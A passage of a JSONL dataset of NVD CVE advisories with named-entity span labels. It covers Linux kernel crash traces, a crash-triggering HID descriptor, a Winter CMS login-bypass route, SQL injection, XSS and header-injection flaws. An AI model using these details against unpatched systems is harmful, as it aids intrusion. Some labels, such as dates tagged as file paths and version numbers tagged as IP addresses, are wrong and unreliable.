do_syscall_64+0xa6/0x1a0\n[    3.341170]  entry_SYSCALL_64_after_hwframe+0x77/0x7f\n[    3.341533] RIP: 0033:0x44a380\n[    3.341757] Code: 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 41 89 ca 64 8b 04 25 18 00 00 00 85 c00\n[    \n---truncated---", "spans": {"FILEPATH: /01/2014": [[874, 882]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[818, 822]], "VULNERABILITY: NULL pointer dereference": [[78, 102]], "VULNERABILITY: Null Pointer Dereference": [[166, 190]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22018"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nocfs2: fix memory leak in ocfs2_mount_volume()\n\nThere is a memory leak reported by kmemleak:\n\n  unreferenced object 0xffff88810cc65e60 (size 32):\n    comm \"mount.ocfs2\", pid 23753, jiffies 4302528942 (age 34735.105s)\n    hex dump (first 32 bytes):\n      10 00 00 00 00 00 00 00 00 01 01 01 01 01 01 01  ................\n      01 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00  ................\n    backtrace:\n      [<ffffffff8170f73d>] __kmalloc+0x4d/0x150\n      [<ffffffffa0ac3f51>] ocfs2_compute_replay_slots+0x121/0x330 [ocfs2]\n      [<ffffffffa0b65165>] ocfs2_check_volume+0x485/0x900 [ocfs2]\n      [<ffffffffa0b68129>] ocfs2_mount_volume.isra.0+0x1e9/0x650 [ocfs2]\n      [<ffffffffa0b7160b>] ocfs2_fill_super+0xe0b/0x1740 [ocfs2]\n      [<ffffffff818e1fe2>] mount_bdev+0x312/0x400\n      [<ffffffff819a086d>] legacy_get_tree+0xed/0x1d0\n      [<ffffffff818de82d>] vfs_get_tree+0x7d/0x230\n      [<ffffffff81957f92>] path_mount+0xd62/0x1760\n      [<ffffffff81958a5a>] do_mount+0xca/0xe0\n      [<ffffffff81958d3c>] __x64_sys_mount+0x12c/0x1a0\n      [<ffffffff82f26f15>] do_syscall_64+0x35/0x80\n      [<ffffffff8300006a>] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nThis call stack is related to two problems.  Firstly, the ocfs2 super uses\n\"replay_map\" to trace online/offline slots, in order to recover offline\nslots during recovery and mount.  But when ocfs2_truncate_log_init()\nreturns an error in ocfs2_mount_volume(), the memory of \"replay_map\" will\nnot be freed in error handling path.  Secondly, the memory of \"replay_map\"\nwill not be freed if d_make_root() returns an error in ocfs2_fill_super().\nBut the memory of \"replay_map\" will be freed normally when completing\nrecovery and mount in ocfs2_complete_mount_recovery().\n\nFix the first problem by adding error handling path to free \"replay_map\"\nwhen ocfs2_truncate_log_init() fails.  And fix the second problem by\ncalling ocfs2_free_replay_slots(osb) in the error handling path\n\"out_dismount\".  In addition, since ocfs2_free_replay_slots() is static,\nit is necessary to remove its static attribute and declare it in header\nfile.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[80, 91], [128, 139]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50770"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfnetlink_osf: validate individual option lengths in fingerprints\n\nnfnl_osf_add_callback() validates opt_num bounds and string\nNUL-termination but does not check individual option length fields.\nA zero-length option causes nf_osf_match_one() to enter the option\nmatching loop even when foptsize sums to zero, which matches packets\nwith no TCP options where ctx->optp is NULL:\n\n Oops: general protection fault\n KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\n RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98)\n Call Trace:\n  nf_osf_match (net/netfilter/nfnetlink_osf.c:227)\n  xt_osf_match_packet (net/netfilter/xt_osf.c:32)\n  ipt_do_table (net/ipv4/netfilter/ip_tables.c:293)\n  nf_hook_slow (net/netfilter/core.c:623)\n  ip_local_deliver (net/ipv4/ip_input.c:262)\n  ip_rcv (net/ipv4/ip_input.c:573)\n\nAdditionally, an MSS option (kind=2) with length < 4 causes\nout-of-bounds reads when nf_osf_match_one() unconditionally accesses\noptp[2] and optp[3] for MSS value extraction.  While RFC 9293\nsection 3.2 specifies that the MSS option is always exactly 4\nbytes (Kind=2, Length=4), the check uses \"< 4\" rather than\n\"!= 4\" because lengths greater than 4 do not cause memory\nsafety issues -- the buffer is guaranteed to be at least\nfoptsize bytes by the ctx->optsize == foptsize check.\n\nReject fingerprints where any option has zero length, or where an MSS\noption has length less than 4, at add time rather than trusting these\nvalues in the packet matching hot path.", "spans": {"FILEPATH: /netfilter/nfnetlink_osf.c": [[582, 608], [645, 671]], "FILEPATH: /netfilter/xt_osf.c": [[703, 722]], "FILEPATH: /ipv4/netfilter/ip_tables.c": [[746, 773]], "FILEPATH: /netfilter/core.c": [[798, 815]], "FILEPATH: /ipv4/ip_input.c": [[844, 860], [879, 895]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23397"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix IS_CHECKPOINTED flag inconsistency issue caused by concurrent atomic commit and checkpoint writes\n\nDuring SPO tests, when mounting F2FS, an -EINVAL error was returned from\nf2fs_recover_inode_page. The issue occurred under the following scenario\n\nThread A                                     Thread B\nf2fs_ioc_commit_atomic_write\n - f2fs_do_sync_file // atomic = true\n  - f2fs_fsync_node_pages\n    : last_folio = inode folio\n    : schedule before folio_lock(last_folio) f2fs_write_checkpoint\n                                              - block_operations// writeback last_folio\n                                              - schedule before f2fs_flush_nat_entries\n    : set_fsync_mark(last_folio, 1)\n    : set_dentry_mark(last_folio, 1)\n    : folio_mark_dirty(last_folio)\n    - __write_node_folio(last_folio)\n      : f2fs_down_read(&sbi->node_write)//block\n                                              - f2fs_flush_nat_entries\n                                                : {struct nat_entry}->flag |= BIT(IS_CHECKPOINTED)\n                                              - unblock_operations\n                                                : f2fs_up_write(&sbi->node_write)\n                                             f2fs_write_checkpoint//return\n      : f2fs_do_write_node_page()\nf2fs_ioc_commit_atomic_write//return\n                                             SPO\n\nThread A calls f2fs_need_dentry_mark(sbi, ino), and the last_folio has\nalready been written once. However, the {struct nat_entry}->flag did not\nhave the IS_CHECKPOINTED set, causing set_dentry_mark(last_folio, 1) and\nwrite last_folio again after Thread B finishes f2fs_write_checkpoint.\n\nAfter SPO and reboot, it was detected that {struct node_info}->blk_addr\nwas not NULL_ADDR because Thread B successfully write the checkpoint.\n\nThis issue only occurs in atomic write scenarios. For regular file\nfsync operations, the folio must be dirty. If\nblock_operations->f2fs_sync_node_pages successfully submit the folio\nwrite, this path will not be executed. Otherwise, the\nf2fs_write_checkpoint will need to wait for the folio write submission\nto complete, as sbi->nr_pages[F2FS_DIRTY_NODES] > 0. Therefore, the\nsituation where f2fs_need_dentry_mark checks that the {struct\nnat_entry}->flag /wo the IS_CHECKPOINTED flag, but the folio write has\nalready been submitted, will not occur.\n\nTherefore, for atomic file fsync, sbi->node_write should be acquired\nthrough __write_node_folio to ensure that the IS_CHECKPOINTED flag\ncorrectly indicates that the checkpoint write has been completed.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23267"}}
{"text": "A vulnerability has been identified in Automation License Manager V5 (All versions), Automation License Manager V6 (All versions < V6.0 SP9 Upd4), TeleControl Server Basic V3 (All versions < V3.1.2). The affected component does not correctly validate the root path on folder related operations, allowing to modify files and folders outside the intended root directory.\r\nThis could allow an unauthenticated remote attacker to execute file operations of files outside of the specified root folder. Chained with CVE-2022-43513 this could allow Remote Code Execution.", "spans": {"CVE_ID: CVE-2022-43513": [[509, 523]], "VULNERABILITY: Remote Code Execution": [[541, 562]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-43514"}}
{"text": "Laravel is a web application framework. Laravel prior to versions 8.75.0, 7.30.6, and 6.20.42 contain a possible cross-site scripting (XSS) vulnerability in the Blade templating engine. A broken HTML element may be clicked and the user taken to another location in their browser due to XSS. This is due to the user being able to guess the parent placeholder SHA-1 hash by trying common names of sections. If the parent template contains an exploitable HTML structure an XSS vulnerability can be exposed. This vulnerability has been patched in versions 8.75.0, 7.30.6, and 6.20.42 by determining the parent placeholder at runtime and using a random hash that is unique to each request.", "spans": {"VULNERABILITY: cross-site scripting": [[113, 133]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43808"}}
{"text": "wn-dusk-plugin (Dusk plugin) is a plugin which integrates Laravel Dusk browser testing into Winter CMS. The Dusk plugin provides some special routes as part of its testing framework to allow a browser environment (such as headless Chrome) to act as a user in the Backend or User plugin without having to go through authentication. This route is `[[URL]]/_dusk/login/[[USER ID]]/[[MANAGER]]` - where `[[URL]]` is the base URL of the site, `[[USER ID]]` is the ID of the user account and `[[MANAGER]]` is the authentication manager (either `backend` for Backend, or `user` for the User plugin). If a configuration of a site using the Dusk plugin is set up in such a way that the Dusk plugin is available publicly and the test cases in Dusk are run with live data, this route may potentially be used to gain access to any user account in either the Backend or User plugin without authentication. As indicated in the `README`, this plugin should only be used in development and should *NOT* be used in a production instance. It is specifically recommended that the plugin be installed as a development dependency only in Composer. In order to remediate this issue, the special routes used above will now no longer be registered unless the `APP_ENV` environment variable is specifically set to `dusk`. Since Winter by default does not use this environment variable and it is not populated by default, it will only exist if Dusk's automatic configuration is used (which won't exhibit this vulnerability) or if a developer manually specifies it in their configuration. The automatic configuration performed by the Dusk plugin has also been hardened by default to use sane defaults and not allow external environment variables to leak into this configuration. This will only affect users in which the Winter CMS installation meets ALL the following criteria: 1. The Dusk plugin is installed in the Winter CMS instance. 2. The application is in production mode (ie. the `debug` config value is set to `true` in `config/app.php`). 3. The Dusk plugin's automatic configuration has been overridden, either by providing a custom `.env.dusk` file or by providing custom configuration in the `config/dusk` folder, or by providing configuration environment variables externally. 4. The environment has been configured to use production data in the database for testing, and not the temporary SQLite database that Dusk uses by default. 5. The application is connectable via the web. This issue has been fixed in version 2.1.0. Users are advised to upgrade.", "spans": {"FILEPATH: /_dusk/login": [[353, 365]], "FILEPATH: app.php": [[2010, 2017]], "SYSTEM: SQLite": [[2376, 2382]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-32003"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: apple: validate feature-report field count to prevent NULL pointer dereference\n\nA malicious HID device with quirk APPLE_MAGIC_BACKLIGHT can trigger a NULL\npointer dereference whilst the power feature-report is toggled and sent to\nthe device in apple_magic_backlight_report_set(). The power feature-report\nis expected to have two data fields, but if the descriptor declares one\nfield then accessing field[1] and dereferencing it in\napple_magic_backlight_report_set() becomes invalid\nsince field[1] will be NULL.\n\nAn example of a minimal descriptor which can cause the crash is something\nlike the following where the report with ID 3 (power report) only\nreferences a single 1-byte field. When hid core parses the descriptor it\nwill encounter the final feature tag, allocate a hid_report (all members\nof field[] will be zeroed out), create field structure and populate it,\nincreasing the maxfield to 1. The subsequent field[1] access and\ndereference causes the crash.\n\n  Usage Page (Vendor Defined 0xFF00)\n  Usage (0x0F)\n  Collection (Application)\n    Report ID (1)\n    Usage (0x01)\n    Logical Minimum (0)\n    Logical Maximum (255)\n    Report Size (8)\n    Report Count (1)\n    Feature (Data,Var,Abs)\n\n    Usage (0x02)\n    Logical Maximum (32767)\n    Report Size (16)\n    Report Count (1)\n    Feature (Data,Var,Abs)\n\n    Report ID (3)\n    Usage (0x03)\n    Logical Minimum (0)\n    Logical Maximum (1)\n    Report Size (8)\n    Report Count (1)\n    Feature (Data,Var,Abs)\n  End Collection\n\nHere we see the KASAN splat when the kernel dereferences the\nNULL pointer and crashes:\n\n  [   15.164723] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000006: 0000 [#1] SMP KASAN NOPTI\n  [   15.165691] KASAN: null-ptr-deref in range [0x0000000000000030-0x0000000000000037]\n  [   15.165691] CPU: 0 UID: 0 PID: 10 Comm: kworker/0:1 Not tainted 6.15.0 #31 PREEMPT(voluntary)\n  [   15.165691] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014\n  [   15.165691] RIP: 0010:apple_magic_backlight_report_set+0xbf/0x210\n  [   15.165691] Call Trace:\n  [   15.165691]  <TASK>\n  [   15.165691]  apple_probe+0x571/0xa20\n  [   15.165691]  hid_device_probe+0x2e2/0x6f0\n  [   15.165691]  really_probe+0x1ca/0x5c0\n  [   15.165691]  __driver_probe_device+0x24f/0x310\n  [   15.165691]  driver_probe_device+0x4a/0xd0\n  [   15.165691]  __device_attach_driver+0x169/0x220\n  [   15.165691]  bus_for_each_drv+0x118/0x1b0\n  [   15.165691]  __device_attach+0x1d5/0x380\n  [   15.165691]  device_initial_probe+0x12/0x20\n  [   15.165691]  bus_probe_device+0x13d/0x180\n  [   15.165691]  device_add+0xd87/0x1510\n  [...]\n\nTo fix this issue we should validate the number of fields that the\nbacklight and power reports have and if they do not have the required\nnumber of fields then bail.", "spans": {"FILEPATH: /01/2014": [[2064, 2072]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1994, 1998]], "VULNERABILITY: NULL pointer dereference": [[128, 152]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38557"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: provide locking for v4_end_grace\n\nWriting to v4_end_grace can race with server shutdown and result in\nmemory being accessed after it was freed - reclaim_str_hashtbl in\nparticularly.\n\nWe cannot hold nfsd_mutex across the nfsd4_end_grace() call as that is\nheld while client_tracking_op->init() is called and that can wait for\nan upcall to nfsdcltrack which can write to v4_end_grace, resulting in a\ndeadlock.\n\nnfsd4_end_grace() is also called by the landromat work queue and this\ndoesn't require locking as server shutdown will stop the work and wait\nfor it before freeing anything that nfsd4_end_grace() might access.\n\nHowever, we must be sure that writing to v4_end_grace doesn't restart\nthe work item after shutdown has already waited for it.  For this we\nadd a new flag protected with nn->client_lock.  It is set only while it\nis safe to make client tracking calls, and v4_end_grace only schedules\nwork while the flag is set with the spinlock held.\n\nSo this patch adds a nfsd_net field \"client_tracking_active\" which is\nset as described.  Another field \"grace_end_forced\", is set when\nv4_end_grace is written.  After this is set, and providing\nclient_tracking_active is set, the laundromat is scheduled.\nThis \"grace_end_forced\" field bypasses other checks for whether the\ngrace period has finished.\n\nThis resolves a race which can result in use-after-free.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[1418, 1432]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22980"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: virtio: fix completion handling\n\nThe driver currently assumes that the notify callback is only received\nwhen the device is done with all the queued buffers.\n\nHowever, this is not true, since the notify callback could be called\nwithout any of the queued buffers being completed (for example, with\nvirtio-pci and shared interrupts) or with only some of the buffers being\ncompleted (since the driver makes them available to the device in\nmultiple separate virtqueue_add_sgs() calls).\n\nThis can lead to incorrect data on the I2C bus or memory corruption in\nthe guest if the device operates on buffers which are have been freed by\nthe driver.  (The WARN_ON in the driver is also triggered.)\n\n BUG kmalloc-128 (Tainted: G        W        ): Poison overwritten\n First byte 0x0 instead of 0x6b\n Allocated in i2cdev_ioctl_rdwr+0x9d/0x1de age=243 cpu=0 pid=28\n \tmemdup_user+0x2e/0xbd\n \ti2cdev_ioctl_rdwr+0x9d/0x1de\n \ti2cdev_ioctl+0x247/0x2ed\n \tvfs_ioctl+0x21/0x30\n \tsys_ioctl+0xb18/0xb41\n Freed in i2cdev_ioctl_rdwr+0x1bb/0x1de age=68 cpu=0 pid=28\n \tkfree+0x1bd/0x1cc\n \ti2cdev_ioctl_rdwr+0x1bb/0x1de\n \ti2cdev_ioctl+0x247/0x2ed\n \tvfs_ioctl+0x21/0x30\n \tsys_ioctl+0xb18/0xb41\n\nFix this by calling virtio_get_buf() from the notify handler like other\nvirtio drivers and by actually waiting for all the buffers to be\ncompleted.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory corruption": [[606, 623]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47613"}}
{"text": "A SQL injection vulnerability in image generation in Centreon before 20.04.14, 20.10.8, and 21.04.2 allows remote authenticated (but low-privileged) attackers to execute arbitrary SQL commands via the include/views/graphs/generateGraphs/generateImage.php index parameter.", "spans": {"FILEPATH: /views/graphs/generateGraphs/generateImage.php": [[208, 254]], "VULNERABILITY: SQL injection": [[2, 15]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37557"}}
{"text": "In PrestaShop between versions 1.5.0.0 and 1.7.6.5, there are improper access control since the the version 1.5.0.0 for legacy controllers. - admin-dev/index.php/configure/shop/customer-preferences/ - admin-dev/index.php/improve/international/translations/ - admin-dev/index.php/improve/international/geolocation/ - admin-dev/index.php/improve/international/localization - admin-dev/index.php/configure/advanced/performance - admin-dev/index.php/sell/orders/delivery-slips/ - admin-dev/index.php?controller=AdminStatuses The problem is fixed in 1.7.6.5", "spans": {"IP_ADDRESS: 1.5.0.0": [[31, 38], [108, 115]], "IP_ADDRESS: 1.7.6.5": [[43, 50], [545, 552]], "FILEPATH: /index.php/configure/shop/customer-preferences": [[151, 197]], "FILEPATH: /index.php/improve/international/translations": [[210, 255]], "FILEPATH: /index.php/improve/international/geolocation": [[268, 312]], "FILEPATH: /index.php/improve/international/localization": [[325, 370]], "FILEPATH: /index.php/configure/advanced/performance": [[382, 423]], "FILEPATH: /index.php/sell/orders/delivery-slips": [[435, 472]], "FILEPATH: index.php": [[486, 495]], "SYSTEM: PrestaShop": [[3, 13]], "VULNERABILITY: improper access control": [[62, 85]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-5279"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxsk: avoid data corruption on cq descriptor number\n\nSince commit 30f241fcf52a (\"xsk: Fix immature cq descriptor\nproduction\"), the descriptor number is stored in skb control block and\nxsk_cq_submit_addr_locked() relies on it to put the umem addrs onto\npool's completion queue.\n\nskb control block shouldn't be used for this purpose as after transmit\nxsk doesn't have control over it and other subsystems could use it. This\nleads to the following kernel panic due to a NULL pointer dereference.\n\n BUG: kernel NULL pointer dereference, address: 0000000000000000\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n PGD 0 P4D 0\n Oops: Oops: 0000 [#1] SMP NOPTI\n CPU: 2 UID: 1 PID: 927 Comm: p4xsk.bin Not tainted 6.16.12+deb14-cloud-amd64 #1 PREEMPT(lazy)  Debian 6.16.12-1\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014\n RIP: 0010:xsk_destruct_skb+0xd0/0x180\n [...]\n Call Trace:\n  <IRQ>\n  ? napi_complete_done+0x7a/0x1a0\n  ip_rcv_core+0x1bb/0x340\n  ip_rcv+0x30/0x1f0\n  __netif_receive_skb_one_core+0x85/0xa0\n  process_backlog+0x87/0x130\n  __napi_poll+0x28/0x180\n  net_rx_action+0x339/0x420\n  handle_softirqs+0xdc/0x320\n  ? handle_edge_irq+0x90/0x1e0\n  do_softirq.part.0+0x3b/0x60\n  </IRQ>\n  <TASK>\n  __local_bh_enable_ip+0x60/0x70\n  __dev_direct_xmit+0x14e/0x1f0\n  __xsk_generic_xmit+0x482/0xb70\n  ? __remove_hrtimer+0x41/0xa0\n  ? __xsk_generic_xmit+0x51/0xb70\n  ? _raw_spin_unlock_irqrestore+0xe/0x40\n  xsk_sendmsg+0xda/0x1c0\n  __sys_sendto+0x1ee/0x200\n  __x64_sys_sendto+0x24/0x30\n  do_syscall_64+0x84/0x2f0\n  ? __pfx_pollwake+0x10/0x10\n  ? __rseq_handle_notify_resume+0xad/0x4c0\n  ? restore_fpregs_from_fpstate+0x3c/0x90\n  ? switch_fpu_return+0x5b/0xe0\n  ? do_syscall_64+0x204/0x2f0\n  ? do_syscall_64+0x204/0x2f0\n  ? do_syscall_64+0x204/0x2f0\n  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n  </TASK>\n [...]\n Kernel panic - not syncing: Fatal exception in interrupt\n Kernel Offset: 0x1c000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)\n\nInstead use the skb destructor_arg pointer along with pointer tagging.\nAs pointers are always aligned to 8B, use the bottom bit to indicate\nwhether this a single address or an allocated struct containing several\naddresses.", "spans": {"FILEPATH: /01/2014": [[960, 968]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[890, 894]], "ORGANIZATION: Debian": [[857, 863]], "VULNERABILITY: NULL pointer dereference": [[535, 559], [575, 599]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40290"}}
{"text": "A vulnerability has been identified in Industrial Edge Device Kit - arm64 V1.17 (All versions), Industrial Edge Device Kit - arm64 V1.18 (All versions), Industrial Edge Device Kit - arm64 V1.19 (All versions), Industrial Edge Device Kit - arm64 V1.20 (All versions < V1.20.2-1), Industrial Edge Device Kit - arm64 V1.21 (All versions < V1.21.1-1), Industrial Edge Device Kit - x86-64 V1.17 (All versions), Industrial Edge Device Kit - x86-64 V1.18 (All versions), Industrial Edge Device Kit - x86-64 V1.19 (All versions), Industrial Edge Device Kit - x86-64 V1.20 (All versions < V1.20.2-1), Industrial Edge Device Kit - x86-64 V1.21 (All versions < V1.21.1-1), Industrial Edge Own Device (IEOD) (All versions < V1.21.1-1-a), Industrial Edge Virtual Device (All versions < V1.21.1-1-a), SCALANCE LPE9413 (6GK5998-3GS01-2AC2) (All versions < V2.1), SIMATIC IPC BX-39A Industrial Edge Device (All versions < V3.0), SIMATIC IPC BX-59A Industrial Edge Device (All versions < V3.0), SIMATIC IPC127E Industrial Edge Device (All versions < V3.0), SIMATIC IPC227E Industrial Edge Device (All versions < V3.0), SIMATIC IPC427E Industrial Edge Device (All versions < V3.0), SIMATIC IPC847E Industrial Edge Device (All versions < V3.0). Affected devices do not properly enforce user authentication on specific API endpoints when identity federation is used. This could facilitate an unauthenticated remote attacker to circumvent authentication and impersonate a legitimate user. Successful exploitation requires that identity federation is currently or has previously been used and the attacker has learned the identity of a legitimate user.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-54092"}}
{"text": "Trillium is a composable toolkit for building internet applications with async rust. In `trillium-http` prior to 0.3.12 and `trillium-client` prior to 0.5.4, insufficient validation of outbound header values may lead to request splitting or response splitting attacks in scenarios where attackers have sufficient control over headers. This only affects use cases where attackers have control of request headers, and can insert \"\\r\\n\" sequences. Specifically, if untrusted and unvalidated input is inserted into header names or values.\n\nOutbound `trillium_http::HeaderValue` and `trillium_http::HeaderName` can be constructed infallibly and were not checked for illegal bytes when sending requests from the client or responses from the server. Thus, if an attacker has sufficient control over header values (or names) in a request or response that they could inject `\\r\\n` sequences, they could get the client and server out of sync, and then pivot to gain control over other parts of requests or responses. (i.e. exfiltrating data from other requests, SSRF, etc.)\n\nIn `trillium-http` versions 0.3.12 and later, if a header name is invalid in server response headers, the specific header and any associated values are omitted from network transmission. Additionally, if a header value is invalid in server response headers, the individual header value is omitted from network transmission. Other headers values with the same header name will still be sent. In `trillium-client` versions 0.5.4 and later, if any header name or header value is invalid in the client request headers, awaiting the client Conn returns an `Error::MalformedHeader` prior to any network access. As a workaround, Trillium services and client applications should sanitize or validate untrusted input that is included in header values and header names. Carriage return, newline, and null characters are not allowed.", "spans": {"VULNERABILITY: SSRF": [[1052, 1056]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-23644"}}
{"text": "Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE). Supported versions that are affected are Java SE: 7u311, 8u301, 11.0.12; Oracle GraalVM Enterprise Edition: 20.3.3 and 21.2.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [82, 86], [150, 154], [345, 349], [507, 511], [603, 607], [660, 664], [701, 705], [806, 810]], "ORGANIZATION: Oracle": [[30, 36], [75, 81], [182, 188], [354, 360], [516, 522]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35550"}}
{"text": "MaraDNS is open-source software that implements the Domain Name System (DNS). In version 3.5.0024 and prior, a remotely exploitable integer underflow vulnerability in the DNS packet decompression function allows an attacker to cause a Denial of Service by triggering an abnormal program termination.\n\nThe vulnerability exists in the `decomp_get_rddata` function within the `Decompress.c` file. When handling a DNS packet with an Answer RR of qtype 16 (TXT record) and any qclass, if the `rdlength` is smaller than `rdata`, the result of the line `Decompress.c:886` is a negative number `len = rdlength - total;`. This value is then passed to the `decomp_append_bytes` function without proper validation, causing the program to attempt to allocate a massive chunk of memory that is impossible to allocate. Consequently, the program exits with an error code of 64, causing a Denial of Service.\n\nOne proposed fix for this vulnerability is to patch `Decompress.c:887` by breaking `if(len <= 0)`, which has been incorporated in version 3.5.0036 via commit bab062bde40b2ae8a91eecd522e84d8b993bab58.", "spans": {"HASH: bab062bde40b2ae8a91eecd522e84d8b993bab58": [[1051, 1091]], "FILEPATH: Decompress.c": [[374, 386], [547, 559], [946, 958]], "VULNERABILITY: integer underflow": [[132, 149]], "VULNERABILITY: Denial of Service": [[235, 252], [873, 890]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-31137"}}
{"text": "gitoxide An idiomatic, lean, fast & safe pure Rust implementation of Git. `gix-path` can be tricked into running another `git.exe` placed in an untrusted location by a limited user account on Windows systems. Windows permits limited user accounts without administrative privileges to create new directories in the root of the system drive. While `gix-path` first looks for `git` using a `PATH` search, in version 0.10.8 it also has a fallback strategy on Windows of checking two hard-coded paths intended to be the 64-bit and 32-bit Program Files directories. Existing functions, as well as the newly introduced `exe_invocation` function, were updated to make use of these alternative locations. This causes facilities in `gix_path::env` to directly execute `git.exe` in those locations, as well as to return its path or whatever configuration it reports to callers who rely on it. Although unusual setups where the system drive is not `C:`, or even where Program Files directories have non-default names, are technically possible, the main problem arises on a 32-bit Windows system. Such a system has no `C:\\Program Files (x86)` directory. A limited user on a 32-bit Windows system can therefore create the `C:\\Program Files (x86)` directory and populate it with arbitrary contents. Once a payload has been placed at the second of the two hard-coded paths in this way, other user accounts including administrators will execute it if they run an application that uses `gix-path` and do not have `git` in a `PATH` directory. (While having `git` found in a `PATH` search prevents exploitation, merely having it installed in the default location under the real `C:\\Program Files` directory does not. This is because the first hard-coded path's `mingw64` component assumes a 64-bit installation.). Only Windows is affected. Exploitation is unlikely except on a 32-bit system. In particular, running a 32-bit build on a 64-bit system is not a risk factor. Furthermore, the attacker must have a user account on the system, though it may be a relatively unprivileged account. Such a user can perform privilege escalation and execute code as another user, though it may be difficult to do so reliably because the targeted user account must run an application or service that uses `gix-path` and must not have `git` in its `PATH`. The main exploitable configuration is one where Git for Windows has been installed but not added to `PATH`. This is one of the options in its installer, though not the default option. Alternatively, an affected program that sanitizes its `PATH` to remove seemingly nonessential directories could allow exploitation. But for the most part, if the target user has configured a `PATH` in which the real `git.exe` can be found, then this cannot be exploited. This issue has been addressed in release version 0.10.9 and all users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: C:\\Program Files ": [[1106, 1123], [1209, 1226]], "FILEPATH: C:\\Program Files": [[1659, 1675]], "SYSTEM: Windows": [[192, 199], [209, 216], [455, 462], [1068, 1075], [1168, 1175], [1799, 1806], [2378, 2385]], "VULNERABILITY: privilege escalation": [[2093, 2113]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40644"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/hugetlb: fix folio is still mapped when deleted\n\nMigration may be raced with fallocating hole.  remove_inode_single_folio\nwill unmap the folio if the folio is still mapped.  However, it's called\nwithout folio lock.  If the folio is migrated and the mapped pte has been\nconverted to migration entry, folio_mapped() returns false, and won't\nunmap it.  Due to extra refcount held by remove_inode_single_folio,\nmigration fails, restores migration entry to normal pte, and the folio is\nmapped again.  As a result, we triggered BUG in filemap_unaccount_folio.\n\nThe log is as follows:\n BUG: Bad page cache in process hugetlb  pfn:156c00\n page: refcount:515 mapcount:0 mapping:0000000099fef6e1 index:0x0 pfn:0x156c00\n head: order:9 mapcount:1 entire_mapcount:1 nr_pages_mapped:0 pincount:0\n aops:hugetlbfs_aops ino:dcc dentry name(?):\"my_hugepage_file\"\n flags: 0x17ffffc00000c1(locked|waiters|head|node=0|zone=2|lastcpupid=0x1fffff)\n page_type: f4(hugetlb)\n page dumped because: still mapped when deleted\n CPU: 1 UID: 0 PID: 395 Comm: hugetlb Not tainted 6.17.0-rc5-00044-g7aac71907bde-dirty #484 NONE\n Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 0.0.0 02/06/2015\n Call Trace:\n  <TASK>\n  dump_stack_lvl+0x4f/0x70\n  filemap_unaccount_folio+0xc4/0x1c0\n  __filemap_remove_folio+0x38/0x1c0\n  filemap_remove_folio+0x41/0xd0\n  remove_inode_hugepages+0x142/0x250\n  hugetlbfs_fallocate+0x471/0x5a0\n  vfs_fallocate+0x149/0x380\n\nHold folio lock before checking if the folio is mapped to avold race with\nmigration.", "spans": {"FILEPATH: /06/2015": 